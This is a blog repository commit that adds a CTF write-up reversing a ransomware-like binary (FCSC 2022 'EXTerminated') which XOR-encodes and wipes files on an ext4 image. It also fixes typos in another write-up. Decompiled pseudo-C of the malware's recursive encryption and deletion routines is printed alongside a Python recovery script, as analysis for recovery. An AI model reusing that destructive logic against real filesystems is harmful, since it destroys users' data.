add exterminated writeup and fix diplodocus typos
Signed-off-by: Julien CLEMENT <julien.clement@epita.fr>
This commit is contained in:
parent
3e9261a7c8
commit
55075855bb
288
jujure/content/writeups/fcsc_2022/EXTerminated.md
Normal file
288
jujure/content/writeups/fcsc_2022/EXTerminated.md
Normal file
@ -0,0 +1,288 @@
|
||||
---
|
||||
title: "Decrypting cryptolocked partition | EXTerminated @ FCSC 2022"
|
||||
date: "2022-05-08 19:00:00"
|
||||
author: "Juju"
|
||||
tags: ["Reverse", "Writeup", "fcsc"]
|
||||
toc: true
|
||||
---
|
||||
|
||||
# Intro
|
||||
|
||||
EXTerminated is a malware reversing challenge. You are handed an EXT4 partition
|
||||
that has been encrypted by a malware, your goal is to recover the original
|
||||
unencrypted files.
|
||||
|
||||
The description of the challenge tells us that the malware does not use any
|
||||
known cryptosystem to encrypt data, let's find this out.
|
||||
|
||||
{{< image src="/EXTerminated/panik.png" style="border-radius: 8px;" >}}
|
||||
|
||||
## Challenge description
|
||||
`reverse` | `472 pts` `12 solves` `:star::star:`
|
||||
```
|
||||
Un client a détecté un seveur compromis sur son parc. Ce serveur semble avoir
|
||||
perdu l'ensemble de ses données suite à une infection. Il nous indique que les
|
||||
attaquants exigent une rançon et affirment pouvoir récupérer les fichiers
|
||||
disparus.
|
||||
|
||||
Une analyse rapide du virus indique que ce dernier ne disposerait à première
|
||||
vue d'aucun algorithme cryptographique connu.
|
||||
|
||||
On vous demande d'analyser ce disque, et de récupérer les fichiers originaux.
|
||||
|
||||
SHA256(disk.img) = a9e7891224868af43e2aa134152beaa2a83f43cde21af8038d138001377157dc.
|
||||
```
|
||||
|
||||
Author: `Nofix`
|
||||
|
||||
## Given files
|
||||
|
||||
[disk.img](/EXTerminated/disk.img)
|
||||
|
||||
# Writeup
|
||||
|
||||
## Overview
|
||||
|
||||
So we can see we are given an EXT4 partition.
|
||||
|
||||
```console
|
||||
$ file disk.img
|
||||
disk.img: Linux rev 1.0 ext4 filesystem data,
|
||||
UUID=c26167b3-e0b9-441d-ab4d-a5f4b5b1fcd0 (extents) (64bit) (large files)
|
||||
(huge files)
|
||||
```
|
||||
|
||||
Let's try to mount it.
|
||||
|
||||
We can see that there are multiple pictures, a pdf and an executable called
|
||||
`wannaweep`, which is probably our malware.
|
||||
|
||||
```console
|
||||
$ sudo mount -o loop ./disk.img mnt/
|
||||
$ tree mnt/
|
||||
mnt/
|
||||
├── Documents
|
||||
│ └── anssi-guide-ransomware_attacks_all_concerned-v1.0.pdf
|
||||
├── Images
|
||||
│ ├── accident.png
|
||||
│ ├── disk.jpg
|
||||
│ ├── flag.jpg
|
||||
│ ├── martine.jpg
|
||||
│ ├── smile.png
|
||||
│ ├── tintin.jpeg
|
||||
│ └── valide.png
|
||||
├── lost+found [error opening dir]
|
||||
└── wannaweep
|
||||
|
||||
3 directories, 9 files
|
||||
```
|
||||
|
||||
By further investigating we can see that all data of the files have been erased
|
||||
except for wannaweep, which definitely is the malware, an x64 stripped and
|
||||
dinamically linked ELF.
|
||||
|
||||
```console
|
||||
$ file mnt/Images/flag.jpg
|
||||
mnt/Images/flag.jpg: data
|
||||
$ xxd mnt/Images/flag.jpg | head
|
||||
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................
|
||||
00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................
|
||||
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
|
||||
00000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................
|
||||
00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................
|
||||
00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................
|
||||
00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................
|
||||
00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
|
||||
00000080: 0000 0000 0000 0000 0000 0000 0000 0000 ................
|
||||
00000090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
|
||||
$ file mnt/wannaweep
|
||||
mnt/wannaweep: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
|
||||
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
|
||||
BuildID[sha1]=590a9f68cde37ffceb8e7441db343742e4032f47, for GNU/Linux
|
||||
3.2.0, stripped
|
||||
```
|
||||
|
||||
We can see that the binary links to `libext2fs.so.2`, a library for EXT file
|
||||
system parsing and manipulation. Since it is dinamically linked we will still
|
||||
have the corresponding symbols so I'm guessing I won't have too much trouble
|
||||
understanding what the malware does even though I do not know the EXT
|
||||
specification.
|
||||
|
||||
```console
|
||||
$ ldd mnt/wannaweep
|
||||
linux-vdso.so.1 (0x00007ffccb2b3000)
|
||||
libext2fs.so.2 => /usr/lib/libext2fs.so.2 (0x00007f8059117000)
|
||||
libcom_err.so.2 => /usr/lib/libcom_err.so.2 (0x00007f8059111000)
|
||||
libc.so.6 => /usr/lib/libc.so.6 (0x00007f8058f07000)
|
||||
/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007f80591ad000)
|
||||
```
|
||||
|
||||
## Main
|
||||
|
||||
It is now the perfect time for me to absolutely not launch this program, I
|
||||
could have setup a sandboxed environment but it turned out it wasn't necessary,
|
||||
the code was really straight forward.
|
||||
|
||||
So I start my favorite decompiler and I download the source code of libext2fs.
|
||||
|
||||
A small fast forward in time as the main function is really straight forward,
|
||||
|
||||
The program takes the path to the device to encrypt as argument, calls a bunch
|
||||
of function that are mostly wrappers around libext2fs functions to initialize
|
||||
some global variables holding structures of the EXT filesystem. It alsos checks
|
||||
that some flags are set in the structures of libext2fs, I do not know if these
|
||||
flags are implementation specific or are standard EXT flags but I did not
|
||||
bother too much with this.
|
||||
|
||||
The intersting stuff is at the end, I can see that it calls a function that
|
||||
I called `encrypt_folder` after reversing it. It then flushes the filesystem to
|
||||
disk and write the inode bitmap.
|
||||
|
||||
{{< code file="/static/EXTerminated/main.c" language="c" >}}
|
||||
|
||||
## Encrypt folder
|
||||
|
||||
Alright so let's take a look at the `encrypt_folder` to understand why I called
|
||||
it this way.
|
||||
|
||||
I could clearly see from `main` that function was called with the string `.`
|
||||
to reference the current directory, and a function pointer that was still
|
||||
unkown to me at the time but that I renamed `encrypt_file`.
|
||||
|
||||
How I knew that the function was encrypting folders and that the parameter was
|
||||
a callback to encrypt files is really simple, you can clearly see the libc
|
||||
symbols calling `opendir` on the path given as argument (`.`), reading all the
|
||||
entries of the directory and calling the callback if the entry is a file.
|
||||
|
||||
If it is not a file, it will `chdir` in the said directory, before recursively
|
||||
calling itself with the same arguments.
|
||||
|
||||
{{< code file="/static/EXTerminated/encrypt_folder.c" language="c" >}}
|
||||
|
||||
|
||||
## Encrypt file
|
||||
|
||||
Let's now look at the `encrypt_file` we guessed. Again, mostly wrapper
|
||||
functions so I did not bother to show you why I named them this way, the code
|
||||
basically reads the content of the file to encrypt, encrypts it in a dedicated
|
||||
block, puts it in the file system before deleting the original content of the
|
||||
file.
|
||||
|
||||
{{< code file="/static/EXTerminated/encrypt_file.c" language="c" >}}
|
||||
|
||||
## Encrypt block
|
||||
|
||||
Well, I was scared of custom cryptography but this seems simple enough for me.
|
||||
To encrypt a plain text block, the malware starts at the last byte of the block
|
||||
and xor it with the previous one until it reaches the start.
|
||||
Actually this function does a heap buffer underflow when xoring the first byte
|
||||
of the block, since it will xor it with the byte right before the block in the
|
||||
heap.
|
||||
|
||||
Reversing the encryption is trivial, the only undefined behaviours is with the
|
||||
underflow because we cannot know the value of the byte preceding the block.
|
||||
However, I assumed it would really likely be 0.
|
||||
|
||||
{{< code file="/static/EXTerminated/encrypt_block.c" language="c" >}}
|
||||
|
||||
## Decrypting
|
||||
|
||||
So to decrypt a block, we simply need to know the value of the byte preceding
|
||||
the buffer. Let's assume it is 0 since it is the most likely.
|
||||
|
||||
I will xor this byte with the first byte of cipher text and that will give
|
||||
me the first byte of plain text, I then repeat the operation, xoring the
|
||||
first byte of plain text with the second byte of cipher text and I do this
|
||||
for the whole block to recover the entire block.
|
||||
|
||||
|
||||
## Solve
|
||||
|
||||
So know I know how to decrypt a block, let's decrypt the whole filesystem.
|
||||
|
||||
I could do something really smart and overengineered to recover a valid
|
||||
decrypted EXT filesystem that I could mount to recover the original files.
|
||||
|
||||
However I'm not familiar with the EXT specification and their are still small
|
||||
shadow zones in the malware code for me, so I try a naive solution.
|
||||
|
||||
I'm guessing that data blocks of files or all alligned on `0x1000`, it would be
|
||||
kind of weird otherwise for me. So if I just cut the whole filesystem in
|
||||
`0x1000` sized blocks without any consideration of the semantic of those blocks
|
||||
in the EXT structure, I could just decrypt each of these blocks individually,
|
||||
and prey that I recover some files whose blocks were contiguous in the EXT
|
||||
structure.
|
||||
|
||||
Obviously that will corrupt all the EXT metadata but it doesn't really matter
|
||||
as long as I can recover the files.
|
||||
|
||||
{{< code file="/static/EXTerminated/decrypt.py" language="py" >}}
|
||||
|
||||
Now let's try to output the result and see if we find any file signatures:
|
||||
|
||||
```console
|
||||
$ ./decrypt.py > decrypted.img
|
||||
$ binwalk decrypted.img
|
||||
|
||||
DECIMAL HEXADECIMAL DESCRIPTION
|
||||
--------------------------------------------------------------------------------
|
||||
9289728 0x8DC000 PNG image, 473 x 306, 8-bit/color RGB, non-interlaced
|
||||
9531392 0x917000 JPEG image data, JFIF standard 1.01
|
||||
9625600 0x92E000 PNG image, 500 x 564, 8-bit/color RGBA, non-interlaced
|
||||
10125312 0x9A8000 JPEG image data, JFIF standard 1.01
|
||||
10212833 0x9BD5E1 bix header, header size: 64 bytes, header CRC: 0x6003083D, created: 2004-01-10 13:39:36, image size: 2097152 bytes, Data Address: 0x22120000, Entry Point: 0x1E040003, data CRC: 0xD2100008, CPU: IA64, image name: ""
|
||||
10231808 0x9C2000 JPEG image data, EXIF standard
|
||||
10231820 0x9C200C TIFF image data, big-endian, offset of first image directory: 8
|
||||
10330112 0x9DA000 JPEG image data, EXIF standard
|
||||
10330124 0x9DA00C TIFF image data, big-endian, offset of first image directory: 8
|
||||
10403840 0x9EC000 PNG image, 482 x 367, 8-bit/color RGB, non-interlaced
|
||||
10403902 0x9EC03E Zlib compressed data, default compression
|
||||
34263365 0x20AD145 Cisco IOS experimental microcode, for ""
|
||||
46640306 0x2C7ACB2 MySQL ISAM compressed data file Version 9
|
||||
46691658 0x2C8754A GIF image data 15531 x
|
||||
```
|
||||
|
||||
We do! So let's try to extract them
|
||||
|
||||
```console
|
||||
$ binwalk --dd='.*' decrypted.img
|
||||
|
||||
DECIMAL HEXADECIMAL DESCRIPTION
|
||||
--------------------------------------------------------------------------------
|
||||
9289728 0x8DC000 PNG image, 473 x 306, 8-bit/color RGB, non-interlaced
|
||||
9531392 0x917000 JPEG image data, JFIF standard 1.01
|
||||
9625600 0x92E000 PNG image, 500 x 564, 8-bit/color RGBA, non-interlaced
|
||||
10125312 0x9A8000 JPEG image data, JFIF standard 1.01
|
||||
10212833 0x9BD5E1 bix header, header size: 64 bytes, header CRC: 0x6003083D, created: 2004-01-10 13:39:36, image size: 2097152 bytes, Data Address: 0x22120000, Entry Point: 0x1E040003, data CRC: 0xD2100008, CPU: IA64, image name: ""
|
||||
10231808 0x9C2000 JPEG image data, EXIF standard
|
||||
10231820 0x9C200C TIFF image data, big-endian, offset of first image directory: 8
|
||||
10330112 0x9DA000 JPEG image data, EXIF standard
|
||||
10330124 0x9DA00C TIFF image data, big-endian, offset of first image directory: 8
|
||||
10403840 0x9EC000 PNG image, 482 x 367, 8-bit/color RGB, non-interlaced
|
||||
10403902 0x9EC03E Zlib compressed data, default compression
|
||||
34263365 0x20AD145 Cisco IOS experimental microcode, for ""
|
||||
46640306 0x2C7ACB2 MySQL ISAM compressed data file Version 9
|
||||
46691658 0x2C8754A GIF image data 15531 x
|
||||
|
||||
$ file _decrypted.img.extracted/*
|
||||
_decrypted.img.extracted/2C7ACB2: MySQL ISAM compressed data file Version 9
|
||||
_decrypted.img.extracted/2C8754A: GIF image data 15531 x
|
||||
_decrypted.img.extracted/8DC000: PNG image data, 473 x 306, 8-bit/color RGB, non-interlaced
|
||||
_decrypted.img.extracted/9A8000: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 660x424, components 3
|
||||
_decrypted.img.extracted/9BD5E1: data
|
||||
_decrypted.img.extracted/9C200C: TIFF image data, big-endian, direntries=0
|
||||
_decrypted.img.extracted/9C2000: JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=0], comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90", baseline, precision 8, 481x600, components 3
|
||||
_decrypted.img.extracted/9DA000: JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=0], baseline, precision 8, 683x500, components 3
|
||||
_decrypted.img.extracted/9DA00C: TIFF image data, big-endian, direntries=0
|
||||
_decrypted.img.extracted/9EC000: PNG image data, 482 x 367, 8-bit/color RGB, non-interlaced
|
||||
_decrypted.img.extracted/9EC03E: empty
|
||||
_decrypted.img.extracted/9EC03E-0: zlib compressed data
|
||||
_decrypted.img.extracted/20AD145: cisco IOS experimental microcode for ''
|
||||
_decrypted.img.extracted/92E000: PNG image data, 500 x 564, 8-bit/color RGBA, non-interlaced
|
||||
_decrypted.img.extracted/917000: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 495x669, components 3
|
||||
```
|
||||
|
||||
Displaying the images we just extracted, we find the following one, giving us
|
||||
the flag.
|
||||
|
||||
{{< image src="/EXTerminated/flag.png" style="border-radius: 8px;" >}}
|
@ -139,7 +139,7 @@ enum describing possible movements in this array. I therefore name them `move`,
|
||||
|
||||
Next we notice that we check that the `jth` bit of the `ith` row of the array,
|
||||
if is not set, it sets the said bit and update the coordinates in the context.
|
||||
If however it is already set, the program set the error flag that we already
|
||||
If however it is already set, the program sets the error flag that we already
|
||||
identified earlier.
|
||||
|
||||
Clearly this is some sort of 12 * 12 bitboard implementation, the first thing
|
||||
@ -175,9 +175,9 @@ to place the said bit on a different bitboard than case 2 but with the same
|
||||
coordinates. If the bit queue is empty then we output an error.
|
||||
|
||||
So I understand here that we must place 24 bits on another board while
|
||||
simultaneously moving on the first one that tracks the tile we already visited.
|
||||
simultaneously moving on the first one that tracks the tiles we already visited.
|
||||
|
||||
Seems easy enough, however, the instruction does not end here, it call a
|
||||
Seems easy enough, however, the instruction does not end here, it calls a
|
||||
function passing the row of the bitboard as parameter, if the return value of
|
||||
this function is more than `2` we output an error.
|
||||
|
||||
@ -267,15 +267,15 @@ traversal of the board, we did not encounter more than 2 bits.
|
||||
|
||||
Here I was really scared because I started to think that this was maybe `\J`
|
||||
trolling me with again a cryptography problem modelised using bitboards are
|
||||
something. And everyone who checks my results of the FCSC know how bad I am
|
||||
something. And everyone who checks my results of the FCSC know how bad I am at
|
||||
cryptography.
|
||||
|
||||
{{< code file="/static/diplodocus/check_align.c" language="c" >}}
|
||||
|
||||
#### Alignement count
|
||||
|
||||
So now I am really unhappy, I was having finding out puzzle and placing bits on
|
||||
boards but now `\J` is throwing modular arithmetic at me.
|
||||
So now I am really unhappy, I was having fun finding out puzzle and placing
|
||||
bits on boards but now `\J` is throwing modular arithmetic at me.
|
||||
|
||||
I take a break crying in my bed after these findings before actually thinking.
|
||||
|
||||
@ -356,8 +356,8 @@ the point if you remember well.
|
||||
However the only columns check is in case 0 where it simply checks that there
|
||||
is an even number of point per column.
|
||||
|
||||
Nothing forbid us to put 12 points on the first and last column, which
|
||||
validates all our constraints
|
||||
Nothing forbids us to put 12 points on the first and last column, which
|
||||
validates all our constraints.
|
||||
|
||||
```
|
||||
|X| | | | | | | | | | |X|
|
||||
@ -374,6 +374,8 @@ validates all our constraints
|
||||
|X| | | | | | | | | | |X|
|
||||
```
|
||||
|
||||
{{< image src="/diplodocus/stop_the_count.png" style="border-radius: 8px;" >}}
|
||||
|
||||
## Solve
|
||||
|
||||
We now simply need to write the input that will give instructions to the
|
||||
|
19
jujure/static/EXTerminated/decrypt.py
Executable file
19
jujure/static/EXTerminated/decrypt.py
Executable file
@ -0,0 +1,19 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import sys
|
||||
import os
|
||||
|
||||
with open('./disk.img', 'rb') as f:
|
||||
data = f.read()
|
||||
blocks = [data[i * 0x1000:(i * 0x1000) + 0x1000] for i in range(len(data) // 0x1000)]
|
||||
|
||||
clear = bytearray()
|
||||
|
||||
for block in blocks:
|
||||
x = 0
|
||||
for b in block:
|
||||
c = x ^ b
|
||||
clear.append(c)
|
||||
x = c
|
||||
|
||||
os.write(1, clear)
|
BIN
jujure/static/EXTerminated/disk.img
Normal file
BIN
jujure/static/EXTerminated/disk.img
Normal file
Binary file not shown.
9
jujure/static/EXTerminated/encrypt_block.c
Normal file
9
jujure/static/EXTerminated/encrypt_block.c
Normal file
@ -0,0 +1,9 @@
|
||||
int64_t encrypt_block(char* block, int64_t len)
|
||||
{
|
||||
int64_t i;
|
||||
for (i = 0; i < len; i = (i + 1))
|
||||
{
|
||||
block[((len - i) - 1)] = (block[((len - i) - 1)] ^ block[((len - i) - 2)]);
|
||||
}
|
||||
return i;
|
||||
}
|
73
jujure/static/EXTerminated/encrypt_file.c
Normal file
73
jujure/static/EXTerminated/encrypt_file.c
Normal file
@ -0,0 +1,73 @@
|
||||
int64_t encrypt_file(char* name)
|
||||
{
|
||||
return encrypt_file2(name);
|
||||
}
|
||||
|
||||
int64_t encrypt_file2(char* name)
|
||||
{
|
||||
int32_t inode = 0;
|
||||
int32_t len_read = 0;
|
||||
uint64_t blocksize = ((uint64_t)fs->blocksize);
|
||||
void* block = xcalloc(1, blocksize); // Allocate data for encrypted block
|
||||
int64_t fd = get_size(name); // Get the file size
|
||||
if (fd != 0)
|
||||
{
|
||||
fd = open(name, 2); // Open the file
|
||||
int32_t fd = fd;
|
||||
if (fd != 0xffffffff)
|
||||
{
|
||||
if (inode == 0)
|
||||
// Create an inode for the encrypted file
|
||||
ext2fs_new_inode(fs, 0, 0x41ed, 0, &inode);
|
||||
|
||||
ext2fs_inode_alloc_stats2(fs, ((uint64_t)inode), 1, 1);
|
||||
char stop = 0;
|
||||
int64_t nb_blocks = 1;
|
||||
uint64_t* blocks = xcalloc(1, 0x10);
|
||||
do
|
||||
{
|
||||
// Fill the block with file data
|
||||
if (fill_block(fd, block, blocksize, &len_read) == 0)
|
||||
break;
|
||||
|
||||
// Determine if another block is needed to encrypt the file
|
||||
int32_t n_blocks = len_read / 0x1000;
|
||||
int32_t len_read;
|
||||
if (len_read % 0x1000 != 0)
|
||||
stop = 1;
|
||||
|
||||
// Encrypt the block
|
||||
encrypt_block(block, ((int64_t)len_read));
|
||||
|
||||
// Write encrypted block to the filesystem
|
||||
int64_t new_block = write_block(block, ((uint64_t)fs->blocksize), inode);
|
||||
|
||||
// Some stuff I did not bother to understand
|
||||
// probably setting up recursive blocks for big files
|
||||
// or preparing new empty blocks for the file that must be
|
||||
// emptied
|
||||
// but I do not know nor does it really matter for now
|
||||
if (blocks[((nb_blocks - 1) * 2)] == 0)
|
||||
{
|
||||
blocks[((nb_blocks - 1) * 2)] = new_block;
|
||||
blocks[(((nb_blocks - 1) * 2) + 1)] = new_block;
|
||||
}
|
||||
else if ((blocks[(((nb_blocks - 1) * 2) + 1)] + 1) != new_block)
|
||||
{
|
||||
nb_blocks = (nb_blocks + 1);
|
||||
realloc(blocks, (nb_blocks << 4));
|
||||
blocks[((nb_blocks - 1) * 2)] = new_block;
|
||||
blocks[(((nb_blocks - 1) * 2) + 1)] = new_block;
|
||||
}
|
||||
else
|
||||
blocks[(((nb_blocks - 1) * 2) + 1)] = new_block;
|
||||
|
||||
memset(block, 0, ((uint64_t)fs->blocksize));
|
||||
} while ((stop & 1) == 0);
|
||||
// Remove data from the original file
|
||||
fd = delete_data(name, nb_blocks, blocks);
|
||||
}
|
||||
}
|
||||
return fd;
|
||||
}
|
||||
|
28
jujure/static/EXTerminated/encrypt_folder.c
Normal file
28
jujure/static/EXTerminated/encrypt_folder.c
Normal file
@ -0,0 +1,28 @@
|
||||
DIR* encrypt_folder(char* path, void* callback)
|
||||
{
|
||||
DIR* dir = opendir(path);
|
||||
if (dir != 0)
|
||||
{
|
||||
while (true)
|
||||
{
|
||||
struct dirent64* dirent = readdir(dir);
|
||||
if (dirent == 0)
|
||||
{
|
||||
break;
|
||||
}
|
||||
if (((uint32_t)dirent->d_type) != 4)
|
||||
{
|
||||
callback(&dirent->d_name);
|
||||
}
|
||||
else if ((strcmp(&dirent->d_name, ".") != 0 && strcmp(&dirent->d_name, "..") != 0))
|
||||
{
|
||||
chdir(&dirent->d_name);
|
||||
encrypt_folder(".", callback);
|
||||
}
|
||||
}
|
||||
chdir("..");
|
||||
dir = closedir(dir);
|
||||
}
|
||||
return dir;
|
||||
}
|
||||
|
BIN
jujure/static/EXTerminated/flag.png
Normal file
BIN
jujure/static/EXTerminated/flag.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 90 MiB |
43
jujure/static/EXTerminated/main.c
Normal file
43
jujure/static/EXTerminated/main.c
Normal file
@ -0,0 +1,43 @@
|
||||
int32_t main(int32_t argc, char** argv, char** envp)
|
||||
{
|
||||
int32_t res;
|
||||
if (argc != 2)
|
||||
{
|
||||
char** rax;
|
||||
rax = 0;
|
||||
printf("Usage %s <device> \n", *(int64_t*)argv);
|
||||
res = 1;
|
||||
}
|
||||
else if (check_fs_opened() != 0)
|
||||
{
|
||||
res = 1;
|
||||
}
|
||||
else
|
||||
{
|
||||
open_and_read(argv[1]);
|
||||
if (fs == 0)
|
||||
{
|
||||
perror("Could not get handle on FS");
|
||||
exit(1);
|
||||
/* no return */
|
||||
}
|
||||
if (check_flag_clear() != 0)
|
||||
{
|
||||
res = 1;
|
||||
}
|
||||
else
|
||||
{
|
||||
if (fs->blocksize != 0x1000)
|
||||
{
|
||||
perror("FS blocksize is invalid");
|
||||
exit(1);
|
||||
/* no return */
|
||||
}
|
||||
encrypt_folder(".", encrypt_file);
|
||||
ext2fs_flush(fs);
|
||||
write_inode_bitmap();
|
||||
res = 0;
|
||||
}
|
||||
}
|
||||
return res;
|
||||
}
|
BIN
jujure/static/EXTerminated/panik.png
Executable file
BIN
jujure/static/EXTerminated/panik.png
Executable file
Binary file not shown.
After Width: | Height: | Size: 191 KiB |
@ -16,7 +16,7 @@ case 0:
|
||||
zmm0 = (zmm0 & _mm_bsrli_si128(zmm0, 4));
|
||||
|
||||
int32_t all_set = (zmm0 & 0xfff) != 0xfff;// Check that context.third_board
|
||||
err = all_set | err; // Is all set to 1
|
||||
err = all_set | err; // is all set to 1
|
||||
context.err = err;
|
||||
|
||||
uint32_t flag = 1; // Set error flag
|
||||
|
@ -1,7 +1,7 @@
|
||||
uint64_t sub_1570(int32_t j, int32_t i, struct context context)
|
||||
{
|
||||
int32_t res = 0;
|
||||
int32_t *board = context.board;;
|
||||
int32_t *board = context.board;
|
||||
int32_t res_flag = 0;
|
||||
if ((j <= 0xb && i <= 0xb))
|
||||
{
|
||||
@ -15,15 +15,15 @@
|
||||
{
|
||||
int32_t r8 = r12_1; // ignore for now
|
||||
int32_t x = -0xb; // Second increment
|
||||
int32_t neg = (y >> 0x1f); // Probably interesting
|
||||
int32_t neg = (y >> 0x1f); // Probably interesting
|
||||
int32_t r11_2 = ((y_cpy * -0xb) + rbp_1); // but I can't seem
|
||||
int32_t y_cpy_cpy = ((neg ^ y) - osef); // to care enough
|
||||
int32_t y_cpy_cpy = ((neg ^ y) - neg); // to care enough
|
||||
while (true)
|
||||
{
|
||||
if (x != 0)
|
||||
{
|
||||
int32_t neg = (x >> 0x1f); // Abs value again or
|
||||
int32_t x_cpy = ((neg ^ x) - osef); // something
|
||||
int32_t x_cpy = ((neg ^ x) - neg); // something
|
||||
int32_t y_cpy_cpy_cpy = y_cpy_cpy;
|
||||
int32_t count;
|
||||
while (true) // Euclidean algorithm
|
||||
@ -63,7 +63,7 @@
|
||||
|
||||
// STOP THE COUNT
|
||||
int32_t too_much = count > 2;
|
||||
res_flag = (res_flag | count>2);
|
||||
res_flag = (res_flag | too_much);
|
||||
}
|
||||
if (x == 0xb) // End the while true loops and iterate
|
||||
{
|
||||
|
BIN
jujure/static/diplodocus/stop_the_count.png
Normal file
BIN
jujure/static/diplodocus/stop_the_count.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 197 KiB |
Loading…
Reference in New Issue
Block a user